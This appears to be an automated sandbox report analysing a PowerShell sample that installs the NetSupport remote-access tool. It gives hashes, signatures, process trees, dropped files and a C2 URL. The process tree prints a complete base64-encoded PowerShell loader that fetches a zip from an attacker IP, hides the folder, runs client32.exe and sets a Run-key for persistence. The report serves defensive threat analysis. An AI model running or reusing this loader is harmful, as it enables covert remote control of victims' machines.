Analysis
-
max time kernel
126s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-de -
resource tags
arch:x64arch:x86image:win10v2004-20230220-delocale:de-deos:windows10-2004-x64systemwindows -
submitted
12-05-2023 11:30
Static task
static1
Behavioral task
behavioral1
Sample
file4.ps1
Resource
win10v2004-20230220-de
General
-
Target
file4.ps1
-
Size
2KB
-
MD5
97b66f50d529a72add418aaf982a6b10
-
SHA1
bd043133d069a76d0ce7fa8306eb532f25ffdacc
-
SHA256
bad8dd8a1fc90352747ebc4c70c7017f39c42df06016f8ddd8b59e49b5586969
-
SHA512
3fa03566415e4632a375343d1d0fb763c9feef341596aeb16d036232dfaac0bd5275e8cfb150299466733fa32e97a46f9d2885b3c014682890ce1fb22db02d4c
Malware Config
Extracted
http://193.233.232.150/view.php
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Executes dropped EXE 1 IoCs
Processes:
client32.exepid process 4064 client32.exe -
Loads dropped DLL 5 IoCs
Processes:
client32.exepid process 4064 client32.exe 4064 client32.exe 4064 client32.exe 4064 client32.exe 4064 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ONEN0TEupdate_1682 = "C:\\Users\\Admin\\AppData\\Roaming\\ONEN0TEupdate_1682\\client32.exe" powershell.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 4952 powershell.exe 4952 powershell.exe 3008 powershell.exe 3008 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.execlient32.exedescription pid process Token: SeDebugPrivilege 4952 powershell.exe Token: SeDebugPrivilege 3008 powershell.exe Token: SeSecurityPrivilege 4064 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
client32.exepid process 4064 client32.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
powershell.exepowershell.exedescription pid process target process PID 4952 wrote to memory of 3008 4952 powershell.exe powershell.exe PID 4952 wrote to memory of 3008 4952 powershell.exe powershell.exe PID 3008 wrote to memory of 4064 3008 powershell.exe client32.exe PID 3008 wrote to memory of 4064 3008 powershell.exe client32.exe PID 3008 wrote to memory of 4064 3008 powershell.exe client32.exe
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file4.ps11⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ep bypass -win hid -enc YwBkACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAOwAgACQAbABpAG4AawA9ACcAaAB0AHQAcAA6AC8ALwAxADkAMwAuADIAMwAzAC4AMgAzADIALgAxADUAMAAvAHYAaQBlAHcALgBwAGgAcAAnADsAIAAkAHIAbgB1AG0APQBHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBtAGkAbgBpAG0AdQBtACAANQAgAC0AbQBhAHgAaQBtAHUAbQAgADkAOwAgACQAcgByAG4AdQBtAD0ARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AbQBpAG4AaQBtAHUAbQAgADEAMAAyADQAIAAtAG0AYQB4AGkAbQB1AG0AIAA5ADkAOQA5ADsAIAAkAGMAaAByAHMAPQAnAGEAYgBjAGQAZQBmAGcAaABpAGoAawBsAG0AbgBvAHAAcwB0AHUAdgB3AHgAeQB6AEEAQgBDAEQARQBGAEcASABJAEoASwBMAE0ATgBPAFAAUgBTAFQAVQBWAFcAWABZAFoAJwA7ACAAJAByAHMAdAByAD0AJwAnADsAIAAkAHIAYQBuAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUgBhAG4AZABvAG0AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAcgBuAHUAbQA7ACAAJABpACsAKwApACAAewAkAHIAcwB0AHIAKwA9ACQAYwBoAHIAcwBbACQAcgBhAG4ALgBuAGUAeAB0ACgAMAAsACAAJABjAGgAcgBzAC4ATABlAG4AZwB0AGgAKQBdAH0AOwAgACQAcgB6AGkAcAA9ACQAcgBzAHQAcgArACcALgB6AGkAcAAnADsAIAAkAHAAYQB0AGgAPQAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQArACcAXAAnACsAJAByAHoAaQBwADsAIAAkAHAAegBpAHAAPQAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQArACcAXABPAE4ARQBOADAAVABFAHUAcABkAGEAdABlAF8AJwArACQAcgByAG4AdQBtADsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIAAkAGwAaQBuAGsAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQAUABhAHQAaAA7ACAAZQB4AHAAYQBuAGQALQBhAHIAYwBoAGkAdgBlACAALQBwAGEAdABoACAAJABwAGEAdABoACAALQBkAGUAcwB0AGkAbgBhAHQAaQBvAG4AcABhAHQAaAAgACQAcAB6AGkAcAA7ACAAJABGAE8ATABEAD0ARwBlAHQALQBJAHQAZQBtACAAJABwAHoAaQBwACAALQBGAG8AcgBjAGUAOwAgACQARgBPAEwARAAuAGEAdAB0AHIAaQBiAHUAdABlAHMAPQAnAEgAaQBkAGQAZQBuACcAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAcABhAHQAaAA7ACAAYwBkACAAJABwAHoAaQBwADsAIABzAHQAYQByAHQAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7ACAAJABmAHMAdAByAD0AJABwAHoAaQBwACsAJwBcAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACcAOwAgACQAcgBuAG0APQAnAE8ATgBFAE4AMABUAEUAdQBwAGQAYQB0AGUAXwAnACsAJAByAHIAbgB1AG0AOwAgAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAGUAIAAkAHIAbgBtACAALQBWAGEAbAB1AGUAIAAkAGYAcwB0AHIAIAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=2⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\client32.exe"C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5dd6085af47993de750fc1bba39e02d75
SHA1c83d868735b3170ae109cacc1163ba647ab3e5b2
SHA256847924eed8197b381f6dfe87f2f1ad3d6a4ea542e5afe291e3e5144419ba28b4
SHA5129d50ba6331a1c5b1ae6b38bdee8e8bf871d63c3245b78b40d6287b9730e862bd731f99e1956ddf28db819592b35b005824b078535de2a0003523ebd8ab62c59d
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD543e8c4389029c09460de3614d7f5897d
SHA1f3f0860e6bb1760d5541904860ab76b87decca80
SHA256c5bc7915f69e9ee0f8519e92b7ca34518b61684bfbf91a81fe62fd02b1020c02
SHA5127560063d6a221bae2dcaeea79397a6af8d01c899ec88e5e1bb980568876a0f83eac4a7d65c289021408b0f1d187f4b4088121957f394019751e545b425741534
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uzvgjbuo.ypc.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\HTCTL32.DLLFilesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\HTCTL32.DLLFilesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\MSVCR100.dllFilesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\NSM.LICFilesize
258B
MD51b41e64c60ca9dfadeb063cd822ab089
SHA1abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\PCICHEK.DLLFilesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\PCICL32.DLLFilesize
3.6MB
MD5d3d39180e85700f72aaae25e40c125ff
SHA1f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15
SHA25638684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
SHA512471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\PCICL32.dllFilesize
3.6MB
MD5d3d39180e85700f72aaae25e40c125ff
SHA1f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15
SHA25638684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
SHA512471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\client32.exeFilesize
104KB
MD5f76954b68cc390f8009f1a052283a740
SHA13112a39aad950045d6422fb2abe98bed05931e6c
SHA25663315df7981130853d75dc753e5776bdf371811bcfce351557c1e45afdd1ebfb
SHA512d3aea0867b488161f62e43e7c250ad3917713b8b183139fb6e06c71594fb0cec769e1494b7cc257117992ae4aa891e056f99c25431ae19f032b1ba779051a880
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\client32.exeFilesize
104KB
MD5f76954b68cc390f8009f1a052283a740
SHA13112a39aad950045d6422fb2abe98bed05931e6c
SHA25663315df7981130853d75dc753e5776bdf371811bcfce351557c1e45afdd1ebfb
SHA512d3aea0867b488161f62e43e7c250ad3917713b8b183139fb6e06c71594fb0cec769e1494b7cc257117992ae4aa891e056f99c25431ae19f032b1ba779051a880
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\client32.exeFilesize
104KB
MD5f76954b68cc390f8009f1a052283a740
SHA13112a39aad950045d6422fb2abe98bed05931e6c
SHA25663315df7981130853d75dc753e5776bdf371811bcfce351557c1e45afdd1ebfb
SHA512d3aea0867b488161f62e43e7c250ad3917713b8b183139fb6e06c71594fb0cec769e1494b7cc257117992ae4aa891e056f99c25431ae19f032b1ba779051a880
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\client32.iniFilesize
919B
MD51c5dde5b0e8f8d65ba782a144129c78f
SHA1014ed23957d9fd5ddbee8e8a5782b881ebcb2602
SHA256ebf387d80981c731d812bcb8e1a1d48fdb43e81c3bc206fda05753b6a3dc8d0b
SHA512226ab2c1a79107e01563e14e9a77c98ac09aec2181cdf057533e77cd20a5e48885b896c6bd97a81dea030aee12e2cb055d58fe9310edf3459e277d2279ab6c9b
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\msvcr100.dllFilesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\pcicapi.dllFilesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\pcicapi.dllFilesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2
-
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_1682\pcichek.dllFilesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
-
memory/3008-158-0x000002AC5FCB0000-0x000002AC5FCC0000-memory.dmpFilesize
64KB
-
memory/3008-159-0x000002AC7A0B0000-0x000002AC7A0C4000-memory.dmpFilesize
80KB
-
memory/3008-160-0x000002AC7A0E0000-0x000002AC7A0E8000-memory.dmpFilesize
32KB
-
memory/3008-161-0x000002AC7A110000-0x000002AC7A126000-memory.dmpFilesize
88KB
-
memory/3008-163-0x000002AC7A0F0000-0x000002AC7A0FA000-memory.dmpFilesize
40KB
-
memory/3008-157-0x000002AC5FCB0000-0x000002AC5FCC0000-memory.dmpFilesize
64KB
-
memory/3008-162-0x000002AC7A130000-0x000002AC7A142000-memory.dmpFilesize
72KB
-
memory/4952-133-0x00000249FADC0000-0x00000249FAE46000-memory.dmpFilesize
536KB
-
memory/4952-147-0x00000249FB060000-0x00000249FB164000-memory.dmpFilesize
1.0MB
-
memory/4952-145-0x00000249F8BB0000-0x00000249F8BC0000-memory.dmpFilesize
64KB
-
memory/4952-146-0x00000249F8BB0000-0x00000249F8BC0000-memory.dmpFilesize
64KB
-
memory/4952-144-0x00000249F8630000-0x00000249F8640000-memory.dmpFilesize
64KB
-
memory/4952-139-0x00000249F8B70000-0x00000249F8B92000-memory.dmpFilesize
136KB